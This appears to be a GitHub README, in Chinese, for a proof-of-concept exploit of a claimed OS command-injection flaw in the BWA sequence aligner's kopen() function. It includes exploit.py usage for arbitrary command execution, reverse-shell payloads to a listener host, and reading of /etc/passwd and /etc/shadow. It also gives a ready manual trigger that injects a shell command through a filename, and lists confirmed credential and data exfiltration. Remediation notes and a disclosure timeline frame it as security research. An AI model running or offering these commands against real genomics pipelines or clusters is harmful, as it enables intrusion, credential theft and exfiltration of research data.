jabir-dev/CVE-2026-BWA-RCE

GitHub: jabir-dev/CVE-2026-BWA-RCE

针对生物信息学工具 BWA 的 kopen() 命令注入漏洞(CVSS 4.0: 10.0)的 PoC 利用工具,支持远程代码执行、反弹 shell 和数据窃取验证。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX:BWA 命令注入(RCE) ## 概述 | 字段 | 值 | |-------|-------| | **产品** | BWA (Burrows-Wheeler Aligner) | | **供应商** | lh3 (Heng Li) | | **版本** | 0 至 0.7.19(所有版本) | | **类型** | OS 命令注入 (CWE-78) | | **CVSS 4.0** | 10.0 Critical | | **影响** | 远程代码执行 | | **bio.tools** | https://bio.tools/bwa | ## 漏洞 BWA 的 `kopen.c`(第 286-309 行)中的 `kopen()` 函数接受以 `<` 开头的文件名,并将剩余内容直接传递给 `/bin/sh -c` 进行 shell 执行,**没有任何输入过滤**。 ``` // kopen.c:309 execl("/bin/sh", "sh", "-c", p + 1, NULL); // p+1 = user-controlled input ``` ## 影响 控制 BWA 文件名参数的攻击者可以实现: - 以 BWA 进程用户身份执行**任意命令** - **凭据窃取**(环境变量、SSH 密钥、云令牌) - **任意文件读/写/删除** - 用于持久访问的**反弹 shell** - 基因组和系统数据的**数据窃取** ## 攻击面 1. 具有用户上传样本名称的 **Galaxy Project** 工作流 2. 具有不受信任的 FASTQ 路径的 **Nextflow/Snakemake** 管道 3. **共享 HPC 集群**(大学/研究环境) 4. 封装 BWA 的**基于 Web 的生物信息学工具** 5. 处理外部数据的 **CI/CD 基因组学管道** ## 用法 ``` # 检查目标 BWA 是否存在漏洞 python3 exploit.py --ref reference.fa --mode check # 执行任意命令 python3 exploit.py --ref reference.fa --mode rce --cmd "id" # 生成 reverse shell payloads python3 exploit.py --ref reference.fa --mode revshell --lhost 10.0.0.1 --lport 4444 # 读取敏感文件 python3 exploit.py --ref reference.fa --mode exfil --files /etc/passwd /etc/shadow ``` ### 快速手动测试 ``` # 创建参考 echo ">s1" > ref.fa && echo "ACGTACGTACGT" >> ref.fa bwa index ref.fa # 触发 RCE bwa mem ref.fa "< id > /tmp/pwned.txt; echo ACGT; #" cat /tmp/pwned.txt ``` ## 利用结果 | 测试 | 状态 | |------|--------| | 任意命令执行 | **已确认** | | 环境变量窃取 | **已确认** | | 任意文件读取 (/etc/passwd) | **已确认** | | SSH 密钥枚举 | **已确认** | | Crontab 访问 | **已确认** | | 检测到反弹 shell 工具 | **已确认** | | 数据窃取 (curl/wget) | **已确认** | ## 根本原因 ``` // kopen.c:282-309 const char *p, *q; for (p = fn; *p; ++p) if (!isspace(*p)) break; if (*p == '<') { // filename starts with '<' // ... for (q = p + 1; *q; ++q) if (ispunct(*q) && *q != '.' && *q != '_' && *q != '-' && *q != ':') break; need_shell = (*q != 0); // weak heuristic check // ... if (!need_shell) { argv = cmd2argv(p + 1); execvp(argv[0], argv); // direct exec } else execl("/bin/sh", "sh", "-c", p + 1, NULL); // SHELL INJECTION! } ``` ## 修复方案 1. **彻底移除** `<` 管道功能,或者 2. **要求**使用显式标志(`--enable-pipe`)来激活它,或者 3. 通过拒绝文件名中的 shell 元字符来**过滤**输入 ## 时间线 | 日期 | 事件 | |------|-------| | 2026-05-30 | 发现漏洞 | | 2026-05-30 | 向 MITRE 请求 CVE(CAN-2026-2030800) | | 待定 | 分配 CVE ID | | 待定 | 通知供应商 | | 待定 | 公开披露(在通知供应商后 90 天) | ## 免责声明 此漏洞利用程序仅供**授权安全测试**和**教育目的**使用。仅在您获得明确测试许可的系统上使用。作者不对本工具的任何滥用行为负责。 ## 许可证 MIT
标签:Cutter, 逆向工具